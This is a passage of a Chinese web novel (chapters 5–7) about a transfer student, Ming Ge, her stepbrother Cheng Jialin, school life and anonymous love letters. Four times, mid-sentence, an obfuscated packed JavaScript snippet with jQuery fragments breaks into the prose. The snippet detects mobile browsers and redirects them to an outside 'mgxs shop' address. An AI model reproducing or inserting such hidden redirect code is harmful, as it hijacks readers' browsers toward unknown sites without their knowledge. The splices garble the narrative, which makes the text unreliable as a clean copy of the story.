拖拖沓沓的脚步声由远及近,程嘉临打开门,压下心中的惊讶,垂眸看着她:“有事?”
程嘉临的长相很锋利,眸色是沉沉的黑,表情依旧不冷不热。
卷子上空着几道有点麻烦但不至于太难的题目,都是明歌精挑细选出来的,她面上怯生生地说:“那个……我有题目不会。”
程少爷挑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406733|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了挑眉,矜持道:“作x帮。”
明歌:“……”
明歌硬着头皮撒谎:“实验班的作业搜不到答案。”
那就没办法了,程大少爷宽宏大量善解人意,并且知道见好就收,往旁边一让:“进来吧,我给你讲。”
明歌十七年来第一次进入同龄男生的领地,和她想象中的极致冷淡风不一样,程嘉临的东西不少但不算乱,教材和习题册随意地摊在桌面上,手机压着一本小册子,屏幕一直亮,消息一条接一条。
程嘉临简单收拾了一下,趁这个空档,让明歌把她房间的椅子拖过来。
试卷放在两人中间,程嘉临凑过来看题,
那股甜甜的香气又丝丝缕缕地绕了过来,比在充满消毒水味的医院更明显,明歌恍然大悟,这是柑橘的味道,不知不觉地走了神。
那天她从露台上下来,碰见了站在台阶上的明诗悦。
她不知道明诗悦听没听清他们在吵什么,但即便听不清具体内容,也知道两个人发生了争执。
明诗悦皱起秀气的眉头,神经质地不停把碎发拨到耳后,压抑着不满:“你和嘉临怎么回事?”
明歌倏地冷静下来,意识到寄人篱下,她没有任性的资格,她亲妈的家也一样。她偏过头:“没事。”
明诗悦最后焦虑地看了她一眼。
“能看懂吗?”
明歌回神,面前的草稿纸上,程嘉临画了几条辅助线,写了几个关键得分点。
“看懂了,谢谢哥哥。”明歌梨涡浅浅,眉眼弯弯。
程嘉临突然没头没脑的问:“还痛吗?”
明歌顿了一下,发现他正盯着自己的手腕,她的袖子被蹭上去一点,露出浅浅的淤青,是年三十那天程嘉临掐出来的。
他声音很轻,明歌第一次听到他这么温柔的语气。
明歌立刻扯下袖子,诚恳道:“不痛的,对不起,那天是我不对,不该乱碰东西的。”
她这一道歉,反而把程嘉临打了半天的腹稿堵了回去。程嘉临心脏好像被谁轻轻攥了一下,泛起细细密密的酸。
他现在拥有的恰好是明歌已经失去的,却让她承担他获得这些事物之前,一部分短暂的痛苦。
何不食肉糜。
明歌的虹膜颜色很浅,像剔透的琥珀,就这样湿漉漉地盯着他,他的面子就算是钢筋混凝土材质,这会也跟着心一块软下来。
自动铅笔刮擦着草稿纸发出沙沙的声响,程嘉临接着把之前的题目解完,“家里关于我妈妈的东西已经不剩什么了,平时除了打扫,没人动露台上的秋千,我当时有点着急上火,对不起。”
“明阿姨……我爸和她结婚的时候,我也还小,大概十岁出头?我不清楚大人之间的事情,以前确实闹得很凶,整个家鸡飞狗跳的,但现在我们相处得也不算差。”
“我也并没有讨厌你。”
只是你出现得太突然,我暂时没有学会怎么做大人们和你口中的“哥哥”。
“我们,”程嘉临目光融融,“以后好好相处,好吗?”
5. 好困
前有陪突如其来的妹妹挂三天吊水,后有“我们以后好好相处”,程嘉临身体力行地展现了何为说到做到的美好品质,内化于心,外化于行,甚至短短几天内一度细节到让明歌心力交瘁。
作为宁城头部私立学校之一,宁外每年的升学率都相当喜人,与之匹配的则是相对高难度的课程和作业,承担拉高顶尖高校过线率责任的实验班,课业更是上跳了好几个难度。
程嘉临可能真的以为转学生明歌跟不上实验班课程进度,自明歌敲响他的房门之后,在学习上向明歌提供帮助的意愿就十分强烈。
一开始是在餐桌上状似不经意地提起明歌转入班级的班主任,然后在程明谦的询问中自然而然地造赵奕潇的谣:“林老师挺严的吧,去年代过我们班几节课,赵奕潇因为跟不上她讲课,一脸好几天作业都是哭着做的。”
程明谦闻言立刻嘱咐程嘉临这段时间多照顾照顾妹妹的学习。
有了程明谦的耳提面命,定时定点拎着作业敲响对方房门的人便换成了程嘉临。
明歌不得不每天都故意空出几道题等程嘉临来讲,还要配合地表演由困惑不解到恍然大悟最后真诚感激,不堪其扰,烦不胜烦。
这一年春节时间晚,开学时已经是二月底。日光渐暖,积雪慢慢融化,只剩街角路边的水渍和薄冰。宁城的风还是一样大,只是气温回升后软了刀尖,生出一丝散漫而温和的调调。
明歌站在门口安静地等待程嘉临,后者叼着最后一块芝士火腿蛋挞,噔噔噔窜下楼,手里拿着刚才忘记带下来的水杯。
宋姨边收盘子边提醒:“这回没忘东西了吧?”
程嘉临蹲下身,含糊不清地应了一声。
他三下五除二系好鞋带,准备起身时一抬头,一双比玻璃珠还透的浅色眼瞳猝不及防撞入他的视线。
啪叽一声闷响,程嘉临一屁股坐在了玄关地毯上。
对面的女孩还没有拿到校服,身穿水蓝色羽绒服和白色阔腿裤,原本靠在腿边的书包被她抱在身前,她将下巴搁在书包上,马尾窝在领子里,微卷的发尾蹭着脸颊。她在程嘉临换鞋时悄无声息地蹲了下来,此刻看着摔在地上的程嘉临,眼神里充满了茫然和惊讶,歪了歪头,“我吓到你了吗?”
程嘉临双手撑在身后,手指下意识抠了一下地垫,惊魂未定地问:“你蹲着干嘛?”
明歌摸了摸发尾,出于某种寄人篱下的自觉,她不太好意思在旁边干看着,只好陪着蹲一蹲。
高三的早自习比高二提前十五分钟,程嘉临肩上一个自己的书包,手里还拎着明歌的书包——下车前顺手拿上的——把明歌领到高二的教学楼,才把书包还给她,转身朝相反方向的高三教学楼走去。
明歌慢吞吞找到三班的门牌,教室门半掩着,她没听到什么动静,又倒退几步,在走廊的窗前张望了一下。
教室里灯亮着,但是没看到人。
她有点奇怪,犹犹豫豫地推了下门,里面突然伸出一只细瘦的手。明歌碰门的手悬在半空,和一个拿着抹布的女孩面面相觑。
女孩手忙脚乱地推了推眼镜,脸颊肉眼可见地迅速变红,小声问:“同学,你走错教室了吗?”
“不好意思,我不知道教室有人。”明歌愣了一下回答,“我没走错,我是转学生。”
似乎是突然发现俩人杵在门边十分诡异,女孩让开身子:“噢……噢噢,你是明歌,对吧?”
“那个,我叫郑心榕,座位表就在讲台上,你可以看看,我是你同桌,也是今天的值日生。”
讲桌上残留着一丝湿痕,座位表端端正正地压在黑板擦下,明歌找到自己的名字,写在第三排靠窗座位的格子上。
明歌把书包塞进桌肚,抽出分门别类夹好的卷子,无事可干,问郑心榕:“你需要帮忙吗?”
郑心榕把抹布放回卫生角,不好意思地笑了笑,“不用啦,我都弄完了,谢谢你呀。”
两个人对话间,走廊渐渐热闹起来,班里陆陆续续进了人。
开学第一天,高中生的心还秤砣似的落在假期里,没完成作业的学生一抓一大把。
课代表轻车熟路地全班巡回收作业,架势可媲美收长头发回收旧手机的三轮车大爷。一时间求爷爷告奶奶借作业的声音此起彼伏,试卷与练习册齐飞,早读铃声还没打响,大家已然畅游在知识的海洋中。
认真做完了所有作业且没穿校服的明歌在此刻就显得格外突兀。
她茫然地跟着郑心榕把作业放到组长课桌上,和陌生的同学对视上,条件反射地弯弯眉眼,以梨涡示人。
郑心榕虽然看起来社恐,却是个实打实的热心肠,一直小声地给明歌介绍这是谁那是谁,语文课代表在哪一排学习委员在哪一组,明歌左耳朵进右耳朵出,嘴上说着我知道了谢谢你,实际上十好几个人名就像候鸟飞过天空,一点儿尾气都没在她脑海里残留。
“……”
郑心榕说着说着,突然噤了声。
桌面上伸来一只手,屈着指节敲了敲郑心榕的桌面。
那只手指节分明,腕骨突出。随着敲击的动作,袖口微微上提,翡翠绿的表盘从袖口滑出来。
这只表在学生普遍家境优渥的私立学校也不算低调,明歌抬起头,一个清瘦的男生站在郑心榕的桌边,他的校服扣子规规矩矩扣到最上面一颗,黑框眼镜架在鼻梁上,镜片后的眼睛垂着,刘海太长了,厚厚地盖住额头,几乎遮住上眼睑。
他勾了勾嘴角,露出一个寡淡的微笑,下巴上几颗不太明显的痘痘随着这个动作轻微地动了一下。
敲着郑心榕的桌子,叫的却是明歌的名字。男生递给明歌一张表格:“你好,我是蒋述,三班的班长,这有一个基本信息采集表需要你填一下。”
明歌也回以一个不走心的微笑,三下五除二填完交还给男生。
郑心榕攥着一支黑笔,不知道在本子上写什么,直到蒋述离开,才微不可察地松了口气,整个人骤然放松下来。
明歌只当他们两个之前有点矛盾,没多在意。
*
高三一班。
赵奕潇首当其冲地违反纪律,无视早读铃,戳了戳程嘉临的肩膀。
他的座位就在程嘉临后面,而陈夏是他的同桌。
赵奕潇展露出了只有找江乐借作业抄时才有的谄媚一面:“程哥,咱妹在哪个班啊?”
陈夏在桌底下踹了他一脚,忍无可忍道:“我在旁边看你荡漾一早上了,到底是你妹?”
程嘉临没比陈夏好到哪去,看着赵奕潇脸上隐约可见的红晕,面无表情地让他闭嘴,回头刘茜来了第一个拎他起来罚站。
赵奕潇被他们嫌弃习惯了,不依不饶地骚扰程嘉临:“就是明歌呀!哎,你能不能给我一下她的联系方式,求你了哥。”
此时此刻这样的语境下,赵奕潇的“哥”似乎有了别样的意味,程嘉临听得浑身刺挠,说:“刘老师来了。”
这下不止赵奕潇,原本闹哄哄的班里一下子恢复了秩序。
没过一会,脚步声由远及近,一位个子高挑的短发女老师走了进来。
赵奕潇小声说:“你都学会预判刘茜进教室的时间点了。”
其实不然,他随便打发赵奕潇那个傻子而已,这把主要归功于刘茜太给力。
“一个年过完了,我看有的人是收不了心了。”刘茜戴着一副无框眼镜,很精神,看不出年龄,神色不怒自威。她用指节叩了叩期安排一个同学的课桌,“拿出来,麻溜儿的。”
那个男生不情不愿地交出桌肚里的漫画书,刘茜大步流星地走到讲台上,放下漫画书,拍了拍桌子:“早读课一点声音都没有,一个个全学会意念传音了是吧。下次读英语再这个状态都给我到后面罚站。今天开学小测验啊,我们先摸个底,过几天开学联考,看看你们一个假期浪成什么样子。”
一瞬间听取哀叫声一片。考试考麻了的高三生们训练有素地交手机拆桌子,窸窸窣窣地传试卷。
考了一上午头昏脑涨,但也不是全无好处。考试结束,比正常放学时间还早十分钟。
赵奕潇在后座苦哈哈地假哭,“完了我一个假期什么都没学”“我妈肯定要揍我了”“我明天上课老老实实去后面罚站吧”车轱辘话颠来倒去地说。程嘉临知道他要出国,都不稀得戳穿他稀烂的演技,趁他没缓过来,一个箭步窜了出去,在他迟钝的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406734|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挽留中溜去了高二教学楼。
——然后一手接住了明歌直直坠下来的额头。
如果国内掀起教育改革,明歌一定会加入“支持取消早上第一节课”的游行队伍。
太困了,实在是太困了,困得神志不清,困得六亲不认,困得想直接入土为安。
下课铃打响,明歌不管不顾地就要往桌子上趴。
——没能如愿,因为她被高二三班几个原住民围住了。
漂亮的孩子能够吸引他人的目光,也能收获比其他人更多的友善和优待。
不论真相如何,至少明歌从小到大,表面上看都是那种清纯漂亮、家境优渥、平易近人的好孩子,她乐意维持这种表象,因此在被友善的好奇目光包围时,强行压下心里的烦躁和困意,投入到社交当中。
这直接造成她的困意在每节课后逐渐累加,熬到放学,书包也不想收,大有一头栽下睡到地老天荒的架势。
依旧没能如愿。托着她额头的那只手有些凉,像是在外面吹了风。
程嘉临言简意赅地提醒道:“午休了。”
明歌迷迷糊糊地抬起头,眼神还没聚焦。程嘉临以为她清醒了,刚准备收回手,她的下巴却“咚”一声,再一次重重砸上了他的手心。
程嘉临:……
好沉一颗头!
郑心榕原本想约明歌一起去吃饭,可惜明歌实在太受欢迎,一上午愣是没找到机会开口。眼见着好不容易中午放学,班里人走得差不多,明歌却开始小鸡啄米似的打瞌睡。
又开始犹豫要不要推醒她。
程嘉临就是在这个时候进来的。
郑心榕的视角里,只见一位身高腿长、长相高冷的帅哥轻车熟路地反坐到明歌前桌的位置上,表情虽然冷淡,手上的动作却十分轻柔,稳稳当当地托住了明歌低垂的额头。
郑心榕抬头看看帅哥转头看看明歌,酝酿了好几个小时的腹稿连见光的机会都没有,被她忘了个彻底。
程嘉临没太在意缩着身子努力降低存在感的郑心榕,这一刻恶向胆边生,指尖对准明歌梨涡的位置,绷着手指一掐。
指腹严丝合缝地贴上女孩的皮肤,程嘉临后知后觉地意识到好像有点不对劲,手中脸蛋的温度比在暖气片上放了俩小时的牛奶都热乎,他惊恐地想:她不会又发烧了吧?!
好在明歌被捏了一下终于清醒过来,迷迷瞪瞪问:“你怎么在这?”
程嘉临答非所问:“你脸好烫,没发烧吧?”
明歌一愣,终于反应过来刚才掐她脸的手从哪来,条件反射打开下巴上的手,眼里是不加掩饰——或者说来不及掩饰的嫌恶:“热。”
被遗忘许久的郑心榕一时捏不准他们是什么关系,见缝插针地说了句再见,逃也似地走了。
学校离家不远,每天车接车送,程嘉临在宁外读了将近三年书,从来没有申请过午休宿舍,明歌便也迁就他的习惯和他一起回去吃饭。
其实她更想一个人在学校吃食堂,程家的空气像密织的网,沉重、拖泥带水,将她困在某种潮湿黏腻的压抑中,呼吸不畅、动弹不得。
中午风反而越刮越起劲,出教学楼到上车,五分钟的冷风纯享版,愣是给明歌从白里透红吹到面无人色。
明歌的书包被程嘉临拎在手里——交完了作业,她的书包轻了不少。小程同学时不时注意着明歌的脸色,在外面走了几分钟后,她脸上的红晕下去了,才松了口气。
程嘉临嘴上不说,其实实打实被明歌上一次发烧吓住了。瘦巴巴的女孩蜷在被窝里,浑身通红,他捞她起来穿衣服,攥住的全都是硌人的骨头。
那么脆弱,好像能轻易被他折断。
那天以后,“病弱”这个滤镜,被程嘉临牢牢糊在了明歌身上。程嘉临杞人忧天,甚至觉得她背书包都会造成肩膀脱臼。
程嘉临又想起除夕在露台上,明歌琥珀色的眼睛。
怎么会有这么割裂的人呢。用平静的语气说愤怒的话,每一寸肌肉都绷得紧紧的,眼神却那么茫然,茫然到几乎没有焦点。
可能明歌也想不明白,自己明明是整个故事里最无辜的人,为什么无端承受他的痛苦和愤怒。
6. 好处
对于高中生,尤其是每天泡在题海里认真学习的高中生来说,时间快得悄无声息。
校内栽种了很多银杏,春天在某场考试结束后轰然来临,明歌背着书包无意间抬头,目之所及是银杏枝干上星星点点的新芽。
这时候她已经拿到定制校服,勉强记住了全班同学的名字,和郑心榕愈发熟悉,甚至逐渐习惯起程嘉临说的好好相处。
她像落到溪水中的花瓣,突出得恰到好处,又柔顺地漂浮在陌生的城市和校园。
程嘉临则在看到红榜上明歌的照片后顿悟一件事——宁外向来只有前三名和进步超一百名的学生能上考试光荣榜,也就是说明歌这丫头在两地教材有差异的情况下,分数依旧高得离谱,说不会的那些题多半都是装的。
但是转念一想,明歌之所以这么做,大概率还是因为想要亲近他。
程大少爷钻石般的自尊心受到了一些磨损,但很快极高的配得感就弥补了这一点。
程嘉临尾巴翘上了天,时不时气球漏气儿似的在明歌面前嘚瑟一下,明歌除了疑惑不解,只剩莫名其妙。
赵奕潇经过不懈的努力,终于和明歌加上了联系方式。
当然不是程嘉临给出去的,是某天一行人在校门口遇见,赵奕潇死皮赖脸要到的。
程嘉临无奈,不过也没放在心上。
几天后的大课间。
程嘉临被叫到高二年级组办公室的时候一头雾水,他推开门,只见曾经代过自己班课、目前是明歌班主任的林霞若有所思地撑着额头。
林霞这名字,宁外下至食堂大妈,上至在读学生,无人不知无人不晓,除了教学能力突出之外,她抓早恋更是出了名的一抓一个准,不知道有多少少男少女爱情的萌芽死在她的无情铁手下。
程嘉临有不好的预感。
林霞余光瞥到程嘉临,立刻说:“坐。明歌是你妹妹是吧,我找你来是问问她的情况。”
程嘉临拉了把空椅子坐下,谨慎道:“您说。”
果然,林霞把一张粉色印花信封推到他面前,直截了当地问:“这是她不小心掉出来的,信上没有落款,你知不知道她最近和哪个男同学走得比较近?”
程嘉临想了想,明歌早上和他一起上学,中午和他一起吃饭,晚上高三上自习,明歌在高二的教室里和住宿生一起自习等他回家,非要说和谁走得比较近……
“我。”
林霞:“……”
他们家复杂的情况,林霞早在明歌办转学时就向程明谦了解过。白天问明歌没问出名堂,叫家长是下下策,她左思右想,最后决定把目光先放在程嘉临身上。
程嘉临面色无辜,语气真诚,林霞没看出端倪,暂且相信他没有帮明歌隐瞒实情。
“我知道了。”林霞叹了口气,斟酌着说,“明歌这孩子我不太了解,她高二中途转学过来,和同学们也称不上多熟悉。你呢现在算是她的哥哥,不管是生活还是学习上,有余力的时候还是多关心一下她。”
程嘉临点头说好。
情书事件没有结果,上课铃一响,林霞就放走了程嘉临。
下午最后一节课下课,赵奕潇的爪子从后面伸过来:“今天吃啥。”
“不知道,去食堂看看再……”
“程嘉临,有不认识的漂亮妹妹找你!”
一句突然起来的叫喊声打断了两人的对话,说话的人刻意加重了“漂亮妹妹”四个字,随之而来的,是此起彼伏的“噢——”。
程嘉临被促狭的目光包围,脑门缓缓浮现一个问号。
赵奕潇问:“谁啊?江乐?”
“肯定不是,她去食堂帮我占座了!”陈夏也不太淡定,“谁啊?你妹妹吗?”
还真让她说中了,门口探出一个鬼鬼祟祟的脑袋,明歌尴尬一笑:“哥哥。”
程嘉临脾气好,跟谁都玩得来,班里同学看热闹不嫌事大,“噢噢噢”怪叫得更起劲,角落里甚至响起了调侃的口哨声。
赵奕潇眼睛霎时一亮,程嘉临随手捡了本书往他怀里一推,想到林霞嘱咐自己的话,走出去关心明歌:“你不是最近都和你同桌一块吃饭吗?吵架了?”
“……这倒是没有。”
恰恰相反,郑心榕最近粘她粘得厉害,上洗手间都要和她同进同出。听到明歌说晚上找哥哥有事不能一起吃饭,还失落了一小会儿。
陈夏出来和明歌打了声招呼就去找江乐了,赵奕潇牛皮糖一样跟上他们,只把他们的对话听进去一半,“吵架?妹妹你被欺负了?跟哥说哥帮你……”
程嘉临最近踹他踹得十分顺脚:“你是她哥,那我是谁啊?”
“可以按月份算,我不介意你当我哥啊!”
程嘉临懒得理他。
……
三个人打打闹闹——主要是赵奕潇闹,程嘉临打,明歌冷眼围观——食堂是抢不到座位了,索性去了校外的川菜馆。
明歌和程嘉临同桌吃饭一个多月,观察出了他的口味,嗜甜嗜辣,果然见他点了水煮肉片和红糖糍粑。
程嘉临问明歌吃什么,明歌摇摇头,她没有特别想吃的。
程嘉临最后加了个麻婆豆腐。
赵奕潇微服私访似的在不同的奶茶店点单小程序里进进出出,挨个向明歌推荐他的珍藏饮品,可汗大点兵,卷卷有芒果。
“我想要草莓的。”明歌说。
没让明歌理解到芒果的魅力,赵奕潇颇为遗憾,问程嘉临:“你呢,芒果酸奶要不要?”
“我也要草莓的。”
“好吧。”
明歌坐在程嘉临身边,心不在焉,欲言又止。
程嘉临早就注意到她这副有话不好说的模样,菜快上齐时,冲赵奕潇一掀眼皮,“奶茶可以取餐了吗?”
“哦对,那你们等我回来再吃啊。”神经大条如赵奕潇,完全没反应过来自己被支开了,乐呵呵取奶茶去了。
赵奕潇一走,程嘉临开门见山地问:“你是不是有话想说?”
明歌一愣:“啊,对。那个……林老师今天找你谈话了?”
这次换程嘉临一愣:“林霞告诉你了?”
“林老师没说,赵奕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406735|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
潇告诉我的。”
程嘉临:……
合着他想方设法把赵奕潇支走,就是为了听明歌告诉他一件赵奕潇本来就知道的事情吗?
程嘉临很难形容自己现在的心情,“你俩什么时候关系这么好了?”
“没你好。”明歌否认,“她是不是和你说我的事情了?”
没你好。
程嘉临挑眉。
虽然不清楚原因,但明歌直觉他此刻心情不错,趁热打铁,双手合十追问:“哥哥,她说什么了?告诉我吧。”
店内座位大多是连在一起的长沙发,明歌倾身靠近时毫无阻碍,两人校服的布料在相贴摩擦时发出轻微的声响。清淡的柑橘香柔柔软软地撞在一起——是宋阿姨买的洗衣凝珠的味道,明歌住进家里不到两个月,浑身上下已经是和程嘉临完全相同的气味。
玻璃门外,赵奕潇已经拎着三杯奶茶,准备过马路了。
程嘉临含混地“哼”了一声,“说担心你早恋,让我做哥哥的没事多关心关心你,妹妹。”
“没别的了?”
“没别的了。”明歌的头发落到他手臂上,程嘉临手欠地勾她发尾。
明歌听完,干净利落地坐回去,又软又滑的发丝从程嘉临指缝间流出去:“哦,知道了,我没有早恋。”
这句“我没有早恋”说得太过干脆,程嘉临反应过来时,赵奕潇已经回到了桌前,戳开奶茶给明歌献殷勤。
程嘉临想笑,笑完之后又未雨绸缪地发愁,唉,万一真的有男生女生追他这个妹,他爸还好说,明阿姨怎么办,他该怎么在明阿姨面前帮她打掩护啊。
晚上躺在床上,手机震了一下。
明歌难得主动发消息给程嘉临:【你睡了吗。】
程嘉临盯着消息看了三秒:【?】
对面“正在输入”的提示闪了半天,最后发来一句:【晚安。】
程嘉临琢磨了一下明歌反常的行为,打字道:【想求我帮你保守秘密啊?】
明歌:【……】
明歌:【可以吗?】
程嘉临笑出了声。
半夜十二点多,除了命苦的高中生,家里人都睡熟了。程嘉临把手机揣进兜里,摸黑叩了叩明歌的房门。
女孩拉开一条窄窄的门缝。
“可以,不过我有什么好处?”
自从心理上逐渐接纳“自己多了一个妹妹”这件事后,程嘉临身上那股子贱嗖嗖的劲儿就被激发出来,此刻他也不是真的想要好处,纯是耐不住寂寞非得来撩个闲。偏他本身对自己有多欠浑然不觉,好整以暇地靠在门边,等明歌的回复。
明歌:……
?
“伸手。”
还真有好处给他?程嘉临照做,只见手心一凉,明歌塞给他一把橘子皮。
程嘉临:……
明歌剥橘子的手法颇为艺术,橘子皮完整保留,像一朵花,每一片花瓣都大小均等、边缘圆润,连白色的经络都被好好清理过。
程嘉临看着掌心这朵橘子香气的花儿,勉为其难道:“好吧。”
7. 过敏
说是保守秘密,实际上也就是不提而已,明诗悦很少过问明歌在学校的情况,问的最多的是明歌到家里感觉如何,跟哥哥叔叔相处得怎么样。
程明谦则神经大条惯了,明歌的成绩单实在太过惊艳,他毫不怀疑明歌是一个不需要家长操心的好学生。
第二天明歌走进教室时,郑心榕没有来。
他们班的规矩是早晚各一个值日生,按照学号轮流来,今天早上又一次轮到郑心榕。明歌是快踩着早读铃进门的,而郑心榕的座位除了常年堆放在教室的书,空空如也。
郑心榕自打第一天和她认识以来,上下课就连上厕所都要粘着她,离开座位交个作业都会报备,也不管明歌听没听。按道理说,不管是迟到还是请假,郑心榕都会和她打个招呼才对。
明歌的耳畔是嘈杂的翻书声、说话声,似乎有一声模糊的闷响从某个角落传来,和苏海倒下时如出一辙。
明歌倏地回头寻找声音来源,教室里所有人都面无异常,所有书本文具都安然无恙,待在它们该在的地方,明歌茫然地想:是错觉吗?
“小歌,语文作业就差你和郑心榕啦。”
组长抱着一叠作业走到明歌的座位前,明歌抖了一下,听到自己剧烈的心跳声。
她把作业递给组长:“郑心榕没来。”
“哦,她可能请假了吧,之后你提醒她一下,让她直接交去老师办公室吧。”
组长走后,明歌给郑心榕发消息:【你请假了吗?】
等了一会儿,没有回复。
明歌这段时间放学后会在教室里做作业,等程嘉临下晚自习一起回家,同样留下来自习的还有蒋述和几个住宿生。一段时间过去,明歌和他们熟悉了一些,这时她也懒得管郑心榕和蒋述之间是否有过节,直接跑到蒋述的座位边,问:“班长,郑心榕是请假了吗?”
蒋述慢条斯理地推了推眼镜,目光自下盘绕而上,最后像水果熟到发烂后腥腻的汁水,黏在明歌的脸上,半晌,他露出一丝若有若无的笑意:“对,她说身体不太舒服,可能是生病了吧。你有什么事吗?”
郑心榕的回复同时送达:【嗯。[生病小狗.jpg]】
明歌收了手机,“没什么事,我的生物笔记本借给她了,生物课要抽查我们组笔记。”
蒋述笑意更甚,他的神情让明歌浑身难受,她一句也不想再多说,正好早读开始,她匆匆回了座位。
*
拿书的时候,明歌特意多检查了一下抽屉,果然又在深处发现一封信。
粉色印花信封,玫瑰图案的火漆印章,明歌不用凑近都能闻到上面喷的玫瑰香水味,和昨天林霞指给程嘉临看的那一份如出一辙。
明歌一连几天抽屉里都有着这样的信封,内容大同小异,写信人极尽溢美之词盛赞她的美丽和善良,在那人眼里,明歌犹如一朵温室玫瑰,在花园中遗世独立,对整个世界漠不关心,却偏偏垂青于他,读懂他内心所有的寂寞与孤独。而林霞之所以查不出来是谁写的,是因为作者无比精明,不仅没有留下署名,连内容都是打印拼贴的。
明歌内心烦躁,如果是以前,她倒是很希望老师小事化大,找出这个人,还她一个清净,反正苏海不管她在学校的事情。
可现在不一样,她不知道程明谦和明诗悦对这种事的态度,只能暂时尽可能地瞒住,希望这个匿名作者见好就收,或者得不到回应后自己放弃。
明歌处理过很多次类似的情况,但这么粘牙糟心的还是第一次见。她没拆开那封信,把它整个儿夹在一本不常用的活页本里,准备找机会扔掉。
*
宁城倒春寒,这几天气温又降到了零度以下,早上开始下雪,一直到大课间都没停。学校广播通知取消跑操,下节课快开始时,明歌被程嘉临一条消息叫下了楼。
程嘉临拎着一个纸袋:“拿着。”
明歌接过,“这是什么?”
“你丢在沙发上的单词书,和赵奕潇让我捎给你的蛋糕。”
明歌早上等程嘉临下楼吃早饭时坐在沙发上背了会单词,想来是那时随手一放就忘了带走,没想到程嘉临看见帮她带过来了。
“你早上提醒我一下就好了,或者中午见面再给我,不用特意跑一趟呀。”
程嘉临双手揣兜,“早上急着出门忘了,走两步的事儿。”
程嘉临面朝教学楼门口,没上台阶,明歌站在屋檐下,还是有不懂事的雪片飞到明歌的睫毛上,被她扑棱扑棱抖掉。程嘉临长腿一伸,一步跨上三个台阶,把明歌挤到里面。
“不谢你赵奕潇哥哥啊?”程嘉临转了个方向,和明歌肩并肩,随口道,“他为了偷渡出去买块小蛋糕,伪造的假条被我们班主任当场抓住,这会儿还在办公室接受批评教育呢,不然现在就是他帮我把书捎给你了。”
“我过会微信跟他说。”
程嘉临不说话了。他本身有点眉压眼,蹙眉时更为明显,狭长的凤眼微微低垂,鼻子不是鼻子眼不是眼地看着稀稀拉拉的小雪。
又听明歌幽幽地说,“可是这是芒果蛋糕。”
“芒果怎么了?”
明歌低头看着撑开的纸袋:“我芒果过敏。”
程嘉临一下没绷住原本发沉的表情,不知道该不该心疼他的冤种兄弟,哭笑不得:“……那你跟他说一声。”
明歌踌躇片刻,摇摇头,“不太好。”
“不太好”在哪里,明歌没说出个所以然了,程嘉临问那这块蛋糕怎么处理,明歌也是一脸茫然。
最后这块蛋糕进了程嘉临的嘴。
担心上课迟到,程嘉临蹲在墙边,狼吞虎咽地塞完了半个巴掌大的芒果千层,姿势比野人体面不到哪里去。
程嘉临刚吃完,他们就看见迎面走来的郑心榕。
郑心榕背着一看就很沉的包,左手拎着一个文件袋,右手撑着伞。
她也看见了明歌和程
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406736|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘉临,冲明歌小幅度挥了挥手,因为那只手还抓着伞柄,整个人看起来像一朵颤巍巍的蘑菇。
程嘉临心说还好自己已经站起来了。
他问:“你同桌迟到了?”
明歌摇头:“说是不舒服请了假,没想到只请了一节课。”
那天程嘉临来教室找明歌之后,明歌就向她解释了她和程嘉临的关系,不过没有细说,郑心榕只当程嘉临是明歌的亲戚哥哥,她收了伞,礼貌地对程嘉临说:“学长好,我打扰你们说事了吗?”
嘴上这么问,却偷偷摸摸地腾出一只手,亲昵地挽住明歌,后者顿了一下,没挣开。
程嘉临目光在两个女孩紧贴的手臂上停了一下,明歌虽然对谁都笑,但他一直觉得明歌很安静,看起来不像是乐于交朋友的人,没想到开学才短短几周,她情书也收了,闺蜜也交了,比他想象中外向得多。
程嘉临摇摇头说没有,临走前往装蛋糕的纸袋里扔了一条巧克力:“安慰你没吃到美味小甜品的遗憾。”
*
明歌一只手被郑心榕抱在怀里,他们班在这一层正中间,上楼后从哪个门进去都一样,明歌习惯性左拐从后门进,郑心榕却轻轻一扯,她便换了方向走前门。
